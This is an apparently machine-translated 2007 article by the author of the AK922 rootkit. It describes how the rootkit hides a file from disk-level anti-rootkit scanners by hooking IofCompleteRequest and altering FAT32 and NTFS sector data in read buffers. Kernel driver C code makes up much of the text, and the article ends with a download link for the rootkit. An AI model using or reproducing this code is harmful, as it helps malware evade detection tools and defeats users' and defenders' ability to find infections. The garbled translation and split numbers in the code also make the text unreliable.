AK922: break the disk to a lower detection implementation file is hidden-a vulnerability warning-the black bar safety net

2007-09-20T00:00:00
ID MYHACK58:62200716977
Type myhack58
Reporter 佚名
Modified 2007-09-20T00:00:00

Description

AK922: break the disk to a lower detection implementation file hidden Author: Azy email: Azy000@gmail.com Completed on: 2007-08-08

Currently, some of the published mainstream anti-rootkit detects hidden files, there are two main methods: the first one is a file system layer of detection, which belongs to this category with icesword and darkspy, and gmer. The second is the disk-level of the lower detection Disk Low-Level Scanning that belong to this category of the ark are many, a typical Representative for the rootkit unhooker, the filereg is the plug-in, rootkit revealer, and blacklight, etc. Of course, there are some tools on the application layer by calling ZwQueryDirectoryFile to implement the detection. The drive is also good, the application of it, it is directly or indirectly sent the IRP to the lower driver. The first class is sent to the FSD. fastfat.sys/ntfs.sys that second class is sent to the disk drive disk.sys, and then the IRP will carry the corresponding file information is returned, then the upper application and then based on the return information processing and judgment. However, due to the Disk level than the FS level more underlying, the IRP is returned to us is more close to the original data organization of a disk sector information, so the Disk layer implementation file detection can be obtained more convincing results. But this does not mean that such detection can not be beat. This article will introduce a method to bypass the class detection method to achieve, of course, this is also in AK922 use. For the implementation file to hide the RK, the other is the“bypass”than“intercept” - to hook some kernel function calls, in order to return to the upper before we have the opportunity to filter out to be a hidden file information. AK922 method used is to Hook the kernel function IofCompleteRequest is. This function is very interesting, because not only is it a in almost any drive has the function to be invoked, but the parameter just contains the IRP. With IRP, there is everything. These characteristics determine it is suitable to make our“puppet”in. But more importantly, a General in the drive to call IofCompleteRequest when the IRP operations have been completed, the IRP in the related field has been filled with a content, which facilitates us to proceed directly to the filter without having to re-do such as sending the IRP to install a completion routine or the like operation. Following generate the way workflow: First, it is determined MajorFunction is not IRP_MJ_READ and IO stack in the DeviceObject whether the magnetic disk drive of the device object, because this is the We have to deal with the core of the IRP, all of the ark is sent directly to the Disk layer of the IRP in here can be intercepted. The next process is to pay special attention into the here when the IRQL is APC_LEVEL or above, and therefore we can't touch any of the IRP in the user mode buffer, a touch most likely blue, that is to say we can not deal directly with the related disk sector information, and must by ExQueueWorkItem queue a WorkItem method to deal with. In addition, since the Disk layer in the device stack is in the lower position, the majority of the IRP sent to here when the current process context has long been not the original IRP originator's process context, here the initiator should be understood as the ark process. Fortunately in the IRP, Tail. Overlay. Thread domain still preserved the original ETHREAD pointer, in order to operate user-mode buffer, you must call KeAttachProcess cut to the IRP originator of the context, and this work can only at PASSIVE_LEVEL has on the worker thread. In DISPATCH_LEVEL level, to do things better. Just started my further two cases were treated: because not all of the IRP are not in the original context, such as icesword send the IRP to here or in icesword. exe in the process, then I think you can not queue a work item, so that you can save a lot of system resources, improve the filtration efficiency. So I tried to DISPATCH_LEVEL was on the direct operation of the user buffer, but this simply does not work. The drive is very unstable, then it is blue. It is simply and honestly the queue went, and then divided case processing. The code is as follows:

// Handle Disk Low-Level Scanning if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters. Read. Length != 0) {

orgnThread = Irp->Tail. Overlay. Thread; orgnProcess = IoThreadToProcess(orgnThread);

if(Irp->MdlAddress) { UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);

// The UserBuffer must be valid if(UserBuffer) {

if(KeGetCurrentIrql() == DISPATCH_LEVEL) {

RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));

WorkerCtx->UserBuffer = UserBuffer; WorkerCtx->Length = irpSp->Parameters. Read. Length; WorkerCtx->EProc = orgnProcess;

ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);

ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue); } }

} }

Come to the worker thread, to PASSIVE_LEVEL level, switching the context after that seems a lot safer. But just in case, the operation of the user-mode buffer before or you want to call ProbeForXxx function to first determine bit. The relevant code is as follows:

VOID WorkerThread(PVOID Context) { KIRQL irql; PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc; PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc; //PMDL mdl;

if(((PWORKERCTX)Context)->UserBuffer) { if(eproc != currProc) {

KeAttachProcess(eproc);

__try{

// ProbeForWrite must be running <= APC_LEVEL ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); }

__except(EXCEPTION_EXECUTE_HANDLER){

//DbgPrint("we can't op the buffer now :-("); KeDetachProcess(); return; }

KeDetachProcess();

}else{

__try{

// ProbeForWrite must be running <= APC_LEVEL ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); }

__except(EXCEPTION_EXECUTE_HANDLER){} }

} }

Ready to finally be done about it, the following started really altered disk sector contents. Here will relate to the FAT32 and NTFS disk file structure, I put to use to the main structure listed, the rest we can refer to the NTFS Documentation action.

typedef struct _INDEX_HEADER{ UCHAR magic[4]; USHORT UpdateSequenceOffset; USHORT SizeInWords; LARGE_INTEGER LogFileSeqNumber; LARGE_INTEGER VCN; ULONG IndexEntryOffset; // needed! ULONG IndexEntrySize; ULONG AllocateSize; }INDEX_HEADER, *PINDEX_HEADER;

typedef struct _INDEX_ENTRY{ LARGE_INTEGER MFTReference; USHORT Size; // needed! USHORT FileNameOffset; USHORT Flags; USHORT Padding; LARGE_INTEGER MFTReferParent; LARGE_INTEGER CreationTime; LARGE_INTEGER ModifyTime; LARGE_INTEGER FileRecModifyTime; LARGE_INTEGER AccessTime; LARGE_INTEGER AllocateSize; LARGE_INTEGER RealSize; LARGE_INTEGER FileFlags; UCHAR FileNameLength; UCHAR NameSpace; WCHAR FileName[1]; }INDEX_ENTRY, *PINDEX_ENTRY;

When reading the disk the file information each are based on a sector size of 5 1 2 bytes integer times, if you do not understand the appropriate volume form of organization and data structure, then the feeling is more complicated, the search efficiency is also very low. But complemented by the above-described structure can be quickly positioned to be hidden files and altered. Here have to the way, the algorithm efficient is very important, if the use of violence in search of a way, then the system BSOD's probability will be greatly increased. On a FAT32 volume, when AK922 search to file AK922. sys's directory entry, which is 0x0, the offset of the filename of the first byte to"0xe5", i.e. marked for deletion. This can be achieved by spoofing the ark of purpose. But in order to more subtle, not to let winhex detect it, it is best to file name cleared to 0. Processing NTFS volume slightly trouble some, the file records and index entries are to be wiped clean, the specific implementation see the code, not repeat them here.

VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen) { ULONG i; BOOLEAN bIsNtfsIndex; BOOLEAN bIsNtfsFile; ULONG offset = 0; ULONG indexSize = 0; PINDEX_ENTRY currIndxEntry = NULL; PINDEX_ENTRY preIndxEntry = NULL; ULONG currPosition;

bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0); bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE) {

for(i = 0; i < BufLen/0x20; i++) { if(! _strnicmp(UserBuf, fileHide, 5) && ! _strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3)) {

(PUCHAR)UserBuf = 0xe5; (PULONG)((ULONG)UserBuf + 0x1) = 0;

break;

}

UserBuf = (PVOID)((ULONG)UserBuf + 0x20);

}

} else if(bIsNtfsFile) {

//DbgPrint("FILE0...");

for(i = 0; i < BufLen / FILERECORDSIZE; i++) { if(! _wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9)) { memset((PVOID)UserBuf, 0, 0x4); memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 1 8); break; }

UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);

}

} else if(bIsNtfsIndex) {

//DbgPrint("INDX..."); // Index Entries

offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18; indexSize = BufLen - offset; currPosition = 0;

currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset); //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);

while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0) { if(! _wcsnicmp(currIndxEntry->FileName, hideFile, 9)) { memset((PVOID)currIndxEntry->FileName, 0, 1 8);

if(currPosition == 0) { ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size; break; }

preIndxEntry->Size += currIndxEntry->Size;

break; }

currPosition += currIndxEntry->Size; preIndxEntry = currIndxEntry; currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);

} } }

The level is limited, everyone is welcome and I exchange.

References:

[1] - the NTFS Documentation of [2] - Azy, The IceSword & Rootkit Unhooker driver profile analysis of

---------

On AK922(AzyKit): I write only one implementation file to hide the RK, you can bypass this article all references to the ark in. Download @ <http://www.wiiupload.net/sf/65b4e75ec4>